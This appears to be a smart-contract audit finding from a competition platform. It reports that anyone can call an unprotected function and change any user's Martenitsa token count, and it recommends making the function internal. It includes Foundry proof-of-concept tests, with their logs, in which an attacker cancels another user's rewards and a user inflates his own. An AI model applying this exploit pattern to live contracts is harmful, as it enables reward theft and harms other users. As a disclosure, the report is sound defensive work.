Beginner FriendlyFoundryGameFi
100 EXP
View results
Submission Details
Severity: high
Valid

`countMartenitsaTokensOwner` can be altered by anyone

Summary

Anyone can alter the countMartenitsaTokensOwner mapping.

Vulnerability Details

The MartenitsaToken.sol contract has a function updateCountMartenitsaTokensOwner( ). countMartenitsaTokensOwner is a mapping that maps the address to the amount of Martenitsa tokens that address holds. The updateCountMartenitsaTokensOwner( ) being an external function and not having any access control lets anyone add or subtract to anyone's countMartenitsaTokensOwner affecting the collectReward( ) in the MartenitsaMarketplace.sol contract. There are a few exploitable scenarios they are :

  1. An attacker could subtract another users countMartenitsaTokensOwner and the user wouldn't get any healthTokens when he calls collectReward( )

  2. A user could add to his countMartenitsaTokensOwner and would get an extra healthToken for every 3 MartenitsaToken

PoC

add this code to the MartenitsaMarketplace.t.sol testsuite

function testBeforeExploitRewards() public eligibleForReward {
console.log("[Before-Exploit]");
console.log("[Before collecting the rewards]");
console.log("Bob's health token balance : ", healthToken.balanceOf(address(bob)));
vm.prank(bob);
marketplace.collectReward();
console.log("[After collecting the rewards]");
console.log("Bob's health token balance : %e", healthToken.balanceOf(address(bob)));
}
function testExploitRewards() public eligibleForReward{
console.log("[After-Exploit]");
address attacker = makeAddr("attacker");
vm.prank(attacker);
martenitsaToken.updateCountMartenitsaTokensOwner(address(bob), "sub");
vm.prank(bob);
marketplace.collectReward();
console.log("[After collecting the rewards]");
console.log("Bob's health token balance : %e", healthToken.balanceOf(address(bob)));
}
function testMaliciousBobRewards() public {
console.log("[Bob Increases His Own Counter]");
vm.startPrank(bob);
martenitsaToken.updateCountMartenitsaTokensOwner(address(bob), "add");
martenitsaToken.updateCountMartenitsaTokensOwner(address(bob), "add");
martenitsaToken.updateCountMartenitsaTokensOwner(address(bob), "add");
martenitsaToken.updateCountMartenitsaTokensOwner(address(bob), "add");
martenitsaToken.updateCountMartenitsaTokensOwner(address(bob), "add");
martenitsaToken.updateCountMartenitsaTokensOwner(address(bob), "add");
marketplace.collectReward();
console.log("[After collecting the rewards]");
console.log("Bob's health token balance : %e", healthToken.balanceOf(address(bob)));
vm.stopPrank();
}

output :

[PASS] testBeforeExploitRewards() (gas: 738932)
Logs:
[Before-Exploit]
[Before collecting the rewards]
Bob's health token balance : 0
[After collecting the rewards]
Bob's health token balance : 1e18
[PASS] testExploitRewards() (gas: 671445)
Logs:
[After-Exploit]
[After collecting the rewards]
Bob's health token balance : 0e0
[PASS] testMaliciousBobRewards() (gas: 144109)
Logs:
[Bob Increases His Own Counter]
[After collecting the rewards]
Bob's health token balance : 2e18

Impact

Impact : High
Likelihood : High

Anyone can call this function and get as many rewards as they can for every 3 MartenitsaToken

Tools Used

Manual Review, foundry

Recommendations

- function updateCountMartenitsaTokensOwner(address owner, string memory operation) external {
+ function updateCountMartenitsaTokensOwner(address owner, string memory operation) internal {
if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("add"))) {
countMartenitsaTokensOwner[owner] += 1;
} else if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("sub"))) {
countMartenitsaTokensOwner[owner] -= 1;
} else {
revert("Wrong operation");
}
}
Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Missing access control

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.